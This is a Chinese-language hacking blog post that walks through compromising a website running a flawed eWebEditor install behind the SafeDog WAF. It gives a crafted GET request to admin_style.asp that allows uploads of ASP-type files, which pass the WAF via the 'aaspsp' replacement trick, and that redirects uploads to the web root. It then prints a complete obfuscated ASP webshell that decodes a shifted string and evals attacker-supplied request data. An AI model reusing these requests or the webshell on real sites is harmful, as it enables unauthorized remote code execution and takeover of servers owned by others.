题目说到了问题和突破,问题的ewebeditor程序,这儿程序问题出来哪儿呢?

        1.登陆的地方被删除了,也就是admin_login.asp这个页面被删除了。

        2.是post提交好像有问题,不管点击那个提交post都会跳转到登陆页面,但是登陆页面又没有,如果直接访问那个页面,当然也可以访问。

    当然上边说到的突破,所谓突破也就是说非常规的环境,非常规的手法去实现同一个目的。下面说一下这个非常规的环境。

        1.问题ewebeditor

        2.服务器装有安全狗

    下面是我测试的过程:

        首先当然是增加样式,但是常规的post提交失败,于是我想到了想这样的在老程序他一般都是使用request接受数据的,于是乎我下载了源码看了下,如果如此:

   ' 检测样式表单提交的有效性

sStyleName = Trim(Request("d_name"))
sStyleDir = Trim(Request("d_dir"))
sStyleCSS = Trim(Request("d_css"))
sStyleUploadDir = Trim(Request("d_uploaddir"))
sStyleBaseHref = Trim(Request("d_basehref"))
sStyleContentPath = Trim(Request("d_contentpath"))
sStyleWidth = Trim(Request("d_width"))
sStyleHeight = Trim(Request("d_height"))
sStyleMemo = Request("d_memo")
sStyleImageExt = Request("d_imageext")
sStyleFlashExt = Request("d_flashext")
sStyleMediaExt = Request("d_mediaext")
sStyleRemoteExt = Request("d_remoteext")
sStyleFileExt = Request("d_fileext")
sStyleImageSize = Request("d_imagesize")
sStyleFlashSize = Request("d_flashsize")
sStyleMediaSize = Request("d_mediasize")
sStyleRemoteSize = Request("d_remotesize")
sStyleFileSize = Request("d_filesize")
sStyleStateFlag = Request("d_stateflag")
sStyleAutoRemote = Request("d_autoremote")
sStyleShowBorder = Request("d_showborder")
sStyleUploadObject = Request("d_uploadobject")
sStyleAutoDir = Request("d_autodir")
sStyleDetectFromWord = Request("d_detectfromword")
sStyleInitMode = Request("d_initmode")
sStyleBaseUrl = Request("d_baseurl")

   他的数据接受都是request,也就是说他会接受post和get和cookie提交上去的数据。

    当然此处post失效了,所以我抓了下包,得到如下数据

http://xxxx.com/system/eWebEditor/admin_style.asp?action=StyleSetSave&id=50

POST /system/eWebEditor/admin_style.asp?action=StyleSetSave&id=50 HTTP/1.1
Host: xxxx.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://xxxx.com/system/eWebEditor/admin_style.asp?action=styleset&id=50
Cookie: ASPSESSIONIDSABCQBBT=KHLJMNEAEKNNMGAMJAFHCPOK
Content-Type: application/x-www-form-urlencoded
Content-Length: 740
d_name=standard1&d_initmode=EDIT&d_uploadobject=0&d_autodir=0&d_dir=standard&d_css=office&d_width=550&d_height=350&d_stateflag=1&d_detectfromword=true&d_autoremote=1&d_showborder=0&d_baseurl=1&d_uploaddir=UploadFile%2F&d_basehref=&d_contentpath=&d_imageext=gif%7Cjpg%7Cjpeg%7Cbmp%7C%3Basa.ass%3B.jpg&d_imagesize=500&d_flashext=swf&d_flashsize=100&d_mediaext=rm%7Cmp3%7Cwav%7Cmid%7Cmidi%7Cra%7Cavi%7Cmpg%7Cmpeg%7Casf%7Casx%7Cwma%7Cmov&d_mediasize=100&d_fileext=rar%7Czip%7Cexe%7Cdoc%7Cxls%7Cchm%7Chlp&d_filesize=500&d_remoteext=gif%7Cjpg%7Cjpeg%7Cbmp&d_remotesize=100&d_memo=Office%B1%EA%D7%BC%B7%E7%B8%F1%A3%AC%B2%BF%B7%D6%B3%A3%D3%C3%B0%B4%C5%A5%A3%AC%B1%EA%D7%BC%CA%CA%BA%CF%BD%E7%C3%E6%BF%ED%B6%C8%A3%AC%C4%AC%C8%CF%D1%F9%CA%BD&x=42&y=11

 于是使用构造get提交方式:

http://xxxx.com/system/eWebEditor/admin_style.asp?action=StyleSetSave&id=50&d_name=standard1&d_initmode=EDIT&d_uploadobject=0&d_autodir=0&d_dir=standard&d_css=office&d_width=550&d_height=350&d_stateflag=1&d_detectfromword=true&d_autoremote=1&d_showborder=0&d_baseurl=1&d_uploaddir=%2F&d_basehref=&d_contentpath=&d_imageext=gif%7Cjpg%7Cjpeg%7Cbmp%7Casaspp%7Ccer%7cASA&d_imagesize=500&d_flashext=swf&d_flashsize=100&d_mediaext=rm%7Cmp3%7Cwav%7Cmid%7Cmidi%7Cra%7Cavi%7Cmpg%7Cmpeg%7Casf%7Casx%7Cwma%7Cmov&d_mediasize=100&d_fileext=rar%7Czip%7Cexe%7Cdoc%7Cxls%7Cchm%7Chlp&d_filesize=500&d_remoteext=gif%7Cjpg%7Cjpeg%7Cbmp&d_remotesize=100&d_memo=Office%B1%EA%D7%BC%B7%E7%B8%F1%A3%AC%B2%BF%B7%D6%B3%A3%D3%C3%B0%B4%C5%A5%A3%AC%B1%EA%D7%BC%CA%CA%BA%CF%BD%E7%C3%E6%BF%ED%B6%C8%A3%AC%C4%AC%C8%CF%D1%F9%CA%

BD&x=42&y=11

然后直接访问时,他显示是提交成功了,实际上也米有成功,需要我们先访问:

http://xxxx.com/system/eWebEditor/admin_style.asp?action=styleset&id=50

然后在在地址栏中输入上边的get提交数据,就会显示成功。

    这儿我们可以修改样式了,但是安全狗作怪使得asa、cer和asp;jpg等等的修改都无效,但是aaspsp这样的修改绕过去了安全狗,这儿可能是程序天然给我们的一个绕安全狗的方法吧!程序本身使用的代码有问题,他会替换aaspsp中完整的asp部分为空格使得剩下的部分还是asp,这儿的代码依旧是一个替换函数,就不多说了,前辈们已经写了很多了。就是这样的一个代码写法使得我们天然绕过了安全狗上传asp的文件了,重这里我们也可以得到启发,以后我们绕安全狗是不是也可以使用这样的代码写法去绕过,话不多说,留下余香。

    接下来我曾填好了可以传的后缀asp,但是视乎目录有问题,以前默认的目录是uploadfiles这个文件目录,视乎是做了限制,于是我想到了修改上传文件目录,当然你可以仔细看我上边构造的哪个get提交上边的d_uploaddir属性的值是%2F,也就是一个/,于是我传上去的文件在根目录下。

    当然这儿已经为我们上传做好了所有铺垫了,我们现在只需要一个可以绕过安全狗的马就ok了。

    还记得以前解密一个asp木马的时候,里面有一个后门,当时只是以为那个是一个后门,但是后面有心人测试发现这个后门很是了得可以绕过护卫神,今天我又用它绕过了安全狗。

<%
codeds="Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li"
execute (decode (codeds) )
Function DeCode (Coded)
On Error Resume Next
For i = 1 To Len (Coded)
Curchar = Mid (Coded, i, 1)
If Asc (Curchar) = 16 then
Curchar = chr (8)
Elseif Asc (Curchar) = 24 then
Curchar = chr (12)
Elseif Asc (Curchar) = 32 then
Curchar = chr (18)
Else
Curchar = chr (Asc (Curchar) -3)
End if
DeCode = Decode&Curchar
Next
End Function
'response.write(decode(codeds))
%> 

最后突破成功!上传一句话成功!!!

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/4007.html